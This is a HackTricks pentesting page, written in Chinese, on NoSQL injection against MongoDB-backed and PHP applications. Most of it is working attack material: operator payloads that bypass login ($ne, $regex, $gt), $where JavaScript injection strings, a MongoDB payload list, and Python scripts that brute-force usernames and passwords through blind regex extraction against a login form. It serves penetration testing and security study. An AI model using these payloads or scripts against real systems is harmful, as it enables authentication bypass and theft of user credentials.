hacktricks/pentesting-web/nosql-injection.md

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# NoSQL 注入
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</details>
NoSQL 数据库提供比传统 SQL 数据库更宽松的一致性限制。通过减少关系约束和一致性检查的需求NoSQL 数据库通常提供性能和扩展优势。然而,即使这些数据库不使用传统的 SQL 语法,它们仍然可能容易受到注入攻击。
## 利用
在 PHP 中,您可以通过将发送参数从 _parameter=foo_ 更改为 _parameter\[arrName]=foo_ 来发送一个数组。
利用基于添加一个**操作符**
```bash
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
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username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
```
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### 基本身份验证绕过
**使用不等于($ne或大于$gt**
```bash
#in URL
username[$ne]=toto&password[$ne]=toto
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username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true
#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
```
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### **SQL - Mongo**
```javascript
query = { $where: `this.username == '${username}'` }
```
如果我们传入像 `username=admin' || 'a'=='a` 这样的字符串,查询将变成 `$where: this.username == 'admin' || 'a'=='a'`,这当然总是评估为真,因此返回**所有结果**。
```
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
```
### 提取**长度**信息
```bash
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...
```
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### 提取**数据**信息
```
in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp
username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*
in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
```
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### **SQL - Mongo**
```
/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
```
### PHP 任意函数执行
使用 [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) 库(默认使用)的 **$func** 操作符,可能可以执行任意函数,如[此报告](https://swarm.ptsecurity.com/rce-cockpit-cms/)所示。
```python
"user":{"$func": "var_dump"}
```
![](<../.gitbook/assets/image (468).png>)
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### 从不同的集合中获取信息
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可以使用 [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) 从不同的集合中获取信息。在下面的例子中,我们从一个名为 **`users`** 的**不同集合**中读取数据,并获取所有密码匹配通配符的**条目结果**。
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```json
[
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{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
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]
```
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
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## 盲目 NoSQL
```python
import requests, string
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(21):
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print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
```
```python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
while True:
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for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
```
## MongoDB 载荷
```
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' || '1'=='1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
```
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## 工具
* [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
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* [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
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### 从POST登录中暴力破解用户名和密码
这是一个简单的脚本,你可以修改它,但前面提到的工具也可以完成这个任务。
```python
import requests
import string
url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
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print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
def get_usernames():
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usernames = []
params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
for c in possible_chars:
username = "^" + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print("Found username starting with "+c)
while True:
for c2 in possible_chars:
params["username[$regex]"] = username + c2 + ".*"
if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:
username += c2
print(username)
break
if c2 == possible_chars[-1]:
print("Found username: "+username[1:])
usernames.append(username[1:])
break
return usernames
for u in get_usernames():
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get_password(u)
```
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## 参考资料
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* [https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media)
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* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
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<details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击</strong></summary>
支持HackTricks的其他方式
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* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
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</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 轻松构建并**自动化工作流程**,由世界上**最先进的**社区工具提供支持。\
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立即获取访问权限:
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